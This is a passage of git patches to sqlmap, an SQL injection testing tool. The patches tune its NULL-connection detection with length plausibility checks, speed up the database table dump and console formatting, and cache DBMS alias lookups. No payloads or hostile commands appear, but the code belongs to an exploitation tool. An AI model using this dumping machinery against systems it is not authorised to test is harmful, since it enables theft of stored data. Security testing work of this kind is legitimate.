else: + debugMsg = "'skip-read' NULL connection method is available but skipped because the " + debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length + logger.debug(debugMsg) except SqlmapConnectionException: pass diff --git a/lib/core/settings.py b/lib/core/settings.py index 43667bf80..f750592d7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.199" +VERSION = "1.10.6.200" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -187,6 +187,13 @@ STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>" STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" +# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike +# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread +# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when +# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it +# is a net slowdown, so it is gated by this size +NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" From d6b491dec4eee9277db89133adc0a1f6e7873ec4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 00:00:47 +0200 Subject: [PATCH 106/165] Minor safety mechanism for HEAD null connection --- data/txt/sha256sums.txt | 4 +- lib/controller/checks.py | 89 ++++++++++++++++++++++++++++------------ lib/core/settings.py | 11 ++++- 3 files changed, 75 insertions(+), 29 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0736b248e..76a24f6bd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -d6d9159d00f47995cb7414a9e0be1dd088b584ef7ce1eeeb2c9008dec3363e5f lib/controller/checks.py +6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c6e83cef57c4b6d492cf3de91ea3b3b176971c36c773759737b6c95269cfadf9 lib/core/settings.py +4d9cc21e2b2a10fd6c06ce6c9b248fd16a4c266511cd01156bbe7643e5327a89 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index aea85795f..95417492c 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -93,6 +93,8 @@ from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER @@ -1533,44 +1535,79 @@ def checkNullConnection(): pushValue(kb.pageCompress) kb.pageCompress = False + # A method is accepted only if the length it reports tracks the real GET response. The + # original page length (len(kb.originalPage)) is the reference; a method whose length is + # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code + # path, or sneaked-in compression) would otherwise make every page look identical and + # silently break detection. The band is coarse on purpose (byte-vs-character size and + # moderate page dynamism are expected); a false reject just forgoes the optimization + def _plausibleLength(length): + reference = len(kb.originalPage or "") + if not reference: + return True + return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference + try: page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.HEAD + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = None - infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" - logger.info(infoMsg) - else: + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.HEAD + + infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + + if kb.nullConnection is None: page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): - kb.nullConnection = NULLCONNECTION.RANGE + try: + length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + except ValueError: + length = None - infoMsg = "NULL connection is supported with GET method ('Range')" - logger.info(infoMsg) - else: - _, headers, _ = Request.getPage(skipRead=True) + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.RANGE - if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - try: - length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) - except ValueError: - length = len(kb.originalPage or "") + infoMsg = "NULL connection is supported with GET method ('Range')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) - # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the - # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake - # per request. That only outweighs the avoided body transfer for large responses; - # for small ones it is a net slowdown, so it is gated by the response size here - if length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: - kb.nullConnection = NULLCONNECTION.SKIP_READ + if kb.nullConnection is None: + _, headers, _ = Request.getPage(skipRead=True) - infoMsg = "NULL connection is supported with 'skip-read' method" - logger.info(infoMsg) - else: - debugMsg = "'skip-read' NULL connection method is available but skipped because the " - debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length - logger.debug(debugMsg) + if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = len(kb.originalPage or "") + + if not _plausibleLength(length): + debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the + # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake + # per request. That only outweighs the avoided body transfer for large responses; + # for small ones it is a net slowdown, so it is gated by the response size here + elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: + kb.nullConnection = NULLCONNECTION.SKIP_READ + + infoMsg = "NULL connection is supported with 'skip-read' method" + logger.info(infoMsg) + else: + debugMsg = "'skip-read' NULL connection method is available but skipped because the " + debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length + logger.debug(debugMsg) except SqlmapConnectionException: pass diff --git a/lib/core/settings.py b/lib/core/settings.py index f750592d7..17120f469 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.200" +VERSION = "1.10.6.201" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -194,6 +194,15 @@ STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"" # is a net slowdown, so it is gated by this size NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 +# Coarse plausibility band for a NULL connection method's reported length, relative to the known +# original page length (len(kb.originalPage)). A method is accepted only if its length falls within +# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning +# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band +# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a +# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches +NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5 +NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0 + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" From 154c7e333e80c5b241058508eeb7863080ce5140 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 10:14:11 +0200 Subject: [PATCH 107/165] Minor optimization --- data/txt/sha256sums.txt | 6 +-- lib/core/convert.py | 13 ++++- lib/core/dump.py | 108 ++++++++++++++++++++++------------------ lib/core/settings.py | 2 +- 4 files changed, 75 insertions(+), 54 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 76a24f6bd..25692070e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -170,13 +170,13 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py -a683d0ad9ba543587382c4903d28db610ae20394fcf9045a68b2ab54a39381ae lib/core/convert.py +5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py -854073f899b876ab13b36e93e174b9cfe51408f7343040197a80afd9fc9c65ee lib/core/dump.py +10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544 lib/core/dump.py 6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4d9cc21e2b2a10fd6c06ce6c9b248fd16a4c266511cd01156bbe7643e5327a89 lib/core/settings.py +516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 6588faf1a..31bbf9b8e 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -464,6 +464,9 @@ def stdoutEncode(value): return retVal +# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7) +_HAS_ISASCII = hasattr(str, "isascii") + def getConsoleLength(value): """ Returns console width of unicode values @@ -475,7 +478,15 @@ def getConsoleLength(value): """ if isinstance(value, six.text_type): - retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) + # Fast path: ASCII values have no wide (>= U+3000) characters, so their + # console width is simply their length. str.isascii() (Python 3.7+) is a + # C-level scan, far cheaper than the per-character generator below (which + # stays for the rare wide-character case and for Python 2). This runs + # once per dumped cell, so it dominates large table dumps. + if _HAS_ISASCII and value.isascii(): + retVal = len(value) + else: + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) else: retVal = len(value) diff --git a/lib/core/dump.py b/lib/core/dump.py index 37264e93e..c81f52519 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -627,11 +627,25 @@ class Dump(object): elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() + # Precompute the per-column layout once. These values are invariant across + # every row, so resolving them per cell (dict lookup, int() conversion and + # identifier normalization) wasted count x ncols work on large dumps. + dumpColumns = [] + for column in columns: + if column != "__infos__": + info = tableValues[column] + dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"]))) + for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 - values = [] - record = OrderedDict() + + # Only the SQLITE and JSONL paths accumulate a per-row container; the + # others left these unused, wasting an allocation on every single row + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values = [] + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + record = OrderedDict() if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: self._write(" ...") @@ -639,62 +653,58 @@ class Dump(object): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") - for column in columns: - if column != "__infos__": - info = tableValues[column] + for safeColumn, colValues, maxlength in dumpColumns: + if len(colValues) <= i or colValues[i] is None: + value = u'' + else: + value = getUnicode(colValues[i]) + value = DUMP_REPLACEMENTS.get(value, value) - if len(info["values"]) <= i or info["values"][i] is None: - value = u'' + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + # Note: store a real NULL for the NULL sentinel (and the raw value otherwise), + # mirroring the JSONL path below; appending the display-replaced 'NULL'/'' + # text would corrupt the INTEGER/REAL-typed columns inferred above + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + values.append(None) else: - value = getUnicode(info["values"][i]) - value = DUMP_REPLACEMENTS.get(value, value) + values.append(getUnicode(colValues[i])) - if conf.dumpFormat == DUMP_FORMAT.SQLITE: - # Note: store a real NULL for the NULL sentinel (and the raw value otherwise), - # mirroring the JSONL path below; appending the display-replaced 'NULL'/'' - # text would corrupt the INTEGER/REAL-typed columns inferred above - if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL - values.append(None) - else: - values.append(getUnicode(info["values"][i])) + blank = " " * (maxlength - getConsoleLength(value)) + self._write("| %s%s" % (value, blank), newline=False, console=console) - maxlength = int(info["length"]) - blank = " " * (maxlength - getConsoleLength(value)) - self._write("| %s%s" % (value, blank), newline=False, console=console) + if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: + try: + mimetype = getText(magic.from_buffer(getBytes(value), mime=True)) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath) - if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: - try: - mimetype = getText(magic.from_buffer(getBytes(value), mime=True)) - if any(mimetype.startswith(_) for _ in ("application", "image")): - if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn)) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warning(warnMsg) - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) - filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) - warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warning(warnMsg) + with openFile(filepath, "w+b", None) as f: + _ = safechardecode(value, True) + f.write(_) - with openFile(filepath, "w+b", None) as f: - _ = safechardecode(value, True) - f.write(_) + except Exception as ex: + logger.debug(getSafeExString(ex)) - except Exception as ex: - logger.debug(getSafeExString(ex)) + if conf.dumpFormat == DUMP_FORMAT.CSV: + if field == fields: + dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) + else: + dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + record[safeColumn] = None + else: + record[safeColumn] = getUnicode(colValues[i]) - if conf.dumpFormat == DUMP_FORMAT.CSV: - if field == fields: - dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) - else: - dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) - elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) - elif conf.dumpFormat == DUMP_FORMAT.JSONL: - if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL - record[unsafeSQLIdentificatorNaming(column)] = None - else: - record[unsafeSQLIdentificatorNaming(column)] = getUnicode(info["values"][i]) - - field += 1 + field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 17120f469..88b61ddd4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.201" +VERSION = "1.10.7.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6e459d66f264ce27aa928d0c1f965d168b015b35 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 10:34:53 +0200 Subject: [PATCH 108/165] Couple of optimizations --- data/txt/sha256sums.txt | 8 +-- lib/core/common.py | 50 ++++++++------ lib/core/settings.py | 2 +- lib/utils/dialect.py | 97 +++++++++++++++----------- tests/test_dialectdbms.py | 141 +++++++++++++++++++++----------------- 5 files changed, 168 insertions(+), 130 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 25692070e..342609ae6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py +751c3bf178e91e60b25e3b01ce7636029804dd78f64e9ee0418bdb126889a7bc lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py +b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -257,7 +257,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api. 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py -b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py +bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py @@ -602,7 +602,7 @@ c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_dat 8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py -b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py +fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py diff --git a/lib/core/common.py b/lib/core/common.py index 937064d70..ec7db6ff9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3310,7 +3310,16 @@ def isNumPosStrValue(value): return retVal -@cachedmethod +# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a +# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum() +# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via +# setdefault in dict order preserves the original first-match-wins semantics. +_DBMS_ALIAS_MAP = {} +for _dbmsKey, _dbmsItem in DBMS_DICT.items(): + for _dbmsAlias in _dbmsItem[0]: + _DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey) + _DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey) + def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias @@ -3319,15 +3328,7 @@ def aliasToDbmsEnum(dbms): 'Microsoft SQL Server' """ - retVal = None - - if dbms: - for key, item in DBMS_DICT.items(): - if dbms.lower() in item[0] or dbms.lower() == key.lower(): - retVal = key - break - - return retVal + return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None def findDynamicContent(firstPage, secondPage, merge=False): """ @@ -4414,7 +4415,11 @@ def safeSQLIdentificatorNaming(name, isTable=False): if isinstance(name, six.string_types): retVal = getUnicode(name) - _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) + # Resolve the identified DBMS once; it is invariant within this call and + # Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise + # re-evaluated several times below. + dbms = Backend.getIdentifiedDbms() + _ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) @@ -4424,13 +4429,13 @@ def safeSQLIdentificatorNaming(name, isTable=False): if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): if isTable: parts = retVal.split('.', 1) for i in 